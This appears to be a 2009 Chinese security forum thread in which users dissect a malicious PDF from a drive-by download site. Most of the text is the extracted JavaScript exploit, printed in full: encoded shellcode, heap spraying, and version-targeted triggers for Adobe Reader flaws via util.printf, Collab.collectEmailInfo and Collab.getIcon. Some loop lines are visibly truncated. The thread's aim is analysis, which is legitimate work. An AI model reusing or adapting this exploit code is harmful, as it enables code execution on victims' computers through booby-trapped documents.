http://npanelsrv.info/(挂马)

wulinjun

原帖由 always 于 2009-10-6 21:10 发表
哪个PDF怎么解啊?

解压后，整理代码，然后把代码放神器中跑一圈！代码如下：

var arry = new Array();
function fix_it(yarsp, len)
{
        while (yarsp.length*2
        yarsp = yarsp.substring(0,len/2);
        return yarsp;
}        
        var version = app.viewerVersion;
if (version > 8)
{
        var payload = unescape("%u9096%u9092%ueb92%u9628%u9797%u9692%u975b%u3392%u90c9%u9297%ub966%u01be%u9096%u8092%udb33%u9297%u9043%uf7e2%u9692%u9797%ueb96%u9709%u9096%ue897%uffd8%uffff%ud430%ue880%ubd12%u5b62%u5bda%u34e8%u3998%u3021%u33de%u2437%u2424%u50a4%u0495%u3434%ubf34%u3874%u44bf%u9928%u44bf%ub53c%u34d8%u3430%ubf34%u62d8%uba5c%u3a7a%udcd8%u34ca%u3434%u71bd%u6230%uac5c%ubeca%udc3a%u34c4%u3434%u71bd%u623c%u115c%ucb84%udcf6%u34d6%u3434%u71bd%u6238%udb5c%ud4fa%udc54%u34e0%u3434%u71bd%u6224%uf55c%ud14d%udc8c%u34f2%u3434%u71bd%u7420%u0cb4%u41f7%ubdce%u2c71%u33dd%u3435%u6a34%u41bd%ubf10%u3071%u355e%ubf6d%u2c61%udc62%u34bf%u3434%u5c64%u2e02%u441b%ua3dc%u3434%ubd34%u2871%uf1bf%uf4b7%ubd64%u1471%ucb5c%u3434%u6434%u71bf%u5e20%u6d36%u61bf%udc2c%u3455%u3434%u7137%uf314%u6834%u1a4a%uf351%u3074%u514c%u3434%u41cb%ubf14%u3871%u355e%ubf6d%u2c61%u74dc%u3434%u5e34%u6c33%u7137%u0710%u67ef%ucb67%u1441%u6764%u71bf%u5e28%u6d31%u61bf%udc2c%u3417%u3434%u345e%u41cb%ubf14%u3c71%u365e%ubf6d%u2c61%u24dc%u3434%u5e34%ubfcb%u2471%u355e%ubf6d%u2c61%u34dc%u3434%u7534%u666f%ud537%ud537%ud537%ud537%ud8b7%u6e30%ubf67%ud6ee%u66c3%ud4cb%ubf61%ubfd8%u3c49%u69bf%u6238%u47bf%ubf08%u2a40%u374c%u62c7%u42bf%u3714%u07c7%u7dfd%u9975%uf737%u0762%u3bc2%u248a%uc60e%u3c40%ufaf5%u3739%u74c6%uc5df%uca0f%u416a%u6ed1%udfbf%u6ebf%u3710%u52e9%u38bf%ubf7f%u286e%ue937%u30bf%u37bf%u6af1%uf669%u343c%uc0dc%ucbca%u61cb%u7866%u7b79%u347a%uafb3%uabaf%uf4e1%ub5f4%ubaab%ubeb5%ua8b7%uada9%ub2f5%ubdb5%uf4b4%ubab9%ubea8%ubff4%uafba%uf4ba%uadae%uf5e8%ub3ab%udbab");
        nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
        heapblock = nop + payload;
        bigblock = unescape("%u0A0A%u0A0A");
        headersize = 20;
        spray = headersize+heapblock.length;
        while (bigblock.length        fillblock = bigblock.substring(0, spray);
        block = bigblock.substring(0, bigblock.length-spray);
        while(block.length+spray < 0x40000) block = block+block+fillblock;
        mem = new Array();
for (i=0;i<1400;i++) mem = block + heapblock;
        var num =         12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
        util.printf("%45000f",num);
}

if (version < 8)
{
        var addkk = unescape("%u9096%u9092%ueb92%u9628%u9797%u9692%u975b%u3392%u90c9%u9297%ub966%u01be%u9096%u8092%udb33%u9297%u9043%uf7e2%u9692%u9797%ueb96%u9709%u9096%ue897%uffd8%uffff%ud430%ue880%ubd12%u5b62%u5bda%u34e8%u3998%u3021%u33de%u2437%u2424%u50a4%u0495%u3434%ubf34%u3874%u44bf%u9928%u44bf%ub53c%u34d8%u3430%ubf34%u62d8%uba5c%u3a7a%udcd8%u34ca%u3434%u71bd%u6230%uac5c%ubeca%udc3a%u34c4%u3434%u71bd%u623c%u115c%ucb84%udcf6%u34d6%u3434%u71bd%u6238%udb5c%ud4fa%udc54%u34e0%u3434%u71bd%u6224%uf55c%ud14d%udc8c%u34f2%u3434%u71bd%u7420%u0cb4%u41f7%ubdce%u2c71%u33dd%u3435%u6a34%u41bd%ubf10%u3071%u355e%ubf6d%u2c61%udc62%u34bf%u3434%u5c64%u2e02%u441b%ua3dc%u3434%ubd34%u2871%uf1bf%uf4b7%ubd64%u1471%ucb5c%u3434%u6434%u71bf%u5e20%u6d36%u61bf%udc2c%u3455%u3434%u7137%uf314%u6834%u1a4a%uf351%u3074%u514c%u3434%u41cb%ubf14%u3871%u355e%ubf6d%u2c61%u74dc%u3434%u5e34%u6c33%u7137%u0710%u67ef%ucb67%u1441%u6764%u71bf%u5e28%u6d31%u61bf%udc2c%u3417%u3434%u345e%u41cb%ubf14%u3c71%u365e%ubf6d%u2c61%u24dc%u3434%u5e34%ubfcb%u2471%u355e%ubf6d%u2c61%u34dc%u3434%u7534%u666f%ud537%ud537%ud537%ud537%ud8b7%u6e30%ubf67%ud6ee%u66c3%ud4cb%ubf61%ubfd8%u3c49%u69bf%u6238%u47bf%ubf08%u2a40%u374c%u62c7%u42bf%u3714%u07c7%u7dfd%u9975%uf737%u0762%u3bc2%u248a%uc60e%u3c40%ufaf5%u3739%u74c6%uc5df%uca0f%u416a%u6ed1%udfbf%u6ebf%u3710%u52e9%u38bf%ubf7f%u286e%ue937%u30bf%u37bf%u6af1%uf669%u343c%uc0dc%ucbca%u61cb%u7866%u7b79%u347a%uafb3%uabaf%uf4e1%ub5f4%ubaab%ubeb5%ua8b7%uada9%ub2f5%ubdb5%uf4b4%ubab9%ubea8%ubff4%uafba%uf4ba%uadae%uf5e8%ub3ab%udbab");
        var mem_array = new Array();
        var cc = 0x0c0c0c0c;
        var addr = 0x400000;
        var sc_len = addkk.length * 2;
        var len = addr - (sc_len+0x38);
        var yarsp = unescape("%u9090%u9090");
        yarsp = fix_it(yarsp, len);
        var count2 = (cc - 0x400000)/addr;
for (var count=0;count
{
    mem_array[count] = yarsp + addkk;
}
        var overflow = unescape("%u0c0c%u0c0c");
        while(overflow.length < 44952) overflow += overflow;
        this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}

if (version < 9.1)        
        {
if (app.doc.Collab.getIcon){
     var vvpethya =unescape("%u9096%u9092%ueb92%u9628%u9797%u9692%u975b%u3392%u90c9%u9297%ub966%u01be%u9096%u8092%udb33%u9297%u9043%uf7e2%u9692%u9797%ueb96%u9709%u9096%ue897%uffd8%uffff%ud430%ue880%ubd12%u5b62%u5bda%u34e8%u3998%u3021%u33de%u2437%u2424%u50a4%u0495%u3434%ubf34%u3874%u44bf%u9928%u44bf%ub53c%u34d8%u3430%ubf34%u62d8%uba5c%u3a7a%udcd8%u34ca%u3434%u71bd%u6230%uac5c%ubeca%udc3a%u34c4%u3434%u71bd%u623c%u115c%ucb84%udcf6%u34d6%u3434%u71bd%u6238%udb5c%ud4fa%udc54%u34e0%u3434%u71bd%u6224%uf55c%ud14d%udc8c%u34f2%u3434%u71bd%u7420%u0cb4%u41f7%ubdce%u2c71%u33dd%u3435%u6a34%u41bd%ubf10%u3071%u355e%ubf6d%u2c61%udc62%u34bf%u3434%u5c64%u2e02%u441b%ua3dc%u3434%ubd34%u2871%uf1bf%uf4b7%ubd64%u1471%ucb5c%u3434%u6434%u71bf%u5e20%u6d36%u61bf%udc2c%u3455%u3434%u7137%uf314%u6834%u1a4a%uf351%u3074%u514c%u3434%u41cb%ubf14%u3871%u355e%ubf6d%u2c61%u74dc%u3434%u5e34%u6c33%u7137%u0710%u67ef%ucb67%u1441%u6764%u71bf%u5e28%u6d31%u61bf%udc2c%u3417%u3434%u345e%u41cb%ubf14%u3c71%u365e%ubf6d%u2c61%u24dc%u3434%u5e34%ubfcb%u2471%u355e%ubf6d%u2c61%u34dc%u3434%u7534%u666f%ud537%ud537%ud537%ud537%ud8b7%u6e30%ubf67%ud6ee%u66c3%ud4cb%ubf61%ubfd8%u3c49%u69bf%u6238%u47bf%ubf08%u2a40%u374c%u62c7%u42bf%u3714%u07c7%u7dfd%u9975%uf737%u0762%u3bc2%u248a%uc60e%u3c40%ufaf5%u3739%u74c6%uc5df%uca0f%u416a%u6ed1%udfbf%u6ebf%u3710%u52e9%u38bf%ubf7f%u286e%ue937%u30bf%u37bf%u6af1%uf669%u343c%uc0dc%ucbca%u61cb%u7866%u7b79%u347a%uafb3%uabaf%uf4e1%ub5f4%ubaab%ubeb5%ua8b7%uada9%ub2f5%ubdb5%uf4b4%ubab9%ubea8%ubff4%uafba%uf4ba%uadae%uf5e8%ub3ab%udbab");
         var hWq500CN = vvpethya.length * 2;
         var len = 0x400000 - (hWq500CN + 0x38);
         var yarsp = unescape("%u9090%u9090");
         yarsp = fix_it(yarsp, len);
         var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
     for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
     arry[vqcQD96y] = yarsp + vvpethya;}
     var tUMhNbGw = unescape("%09");
     while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
     tUMhNbGw = "N." + tUMhNbGw;
         app.doc.Collab.getIcon(tUMhNbGw);
        }
        }

然后解中间的shellcode就行了！

always

我用Recoder解压失败,你用什么解压?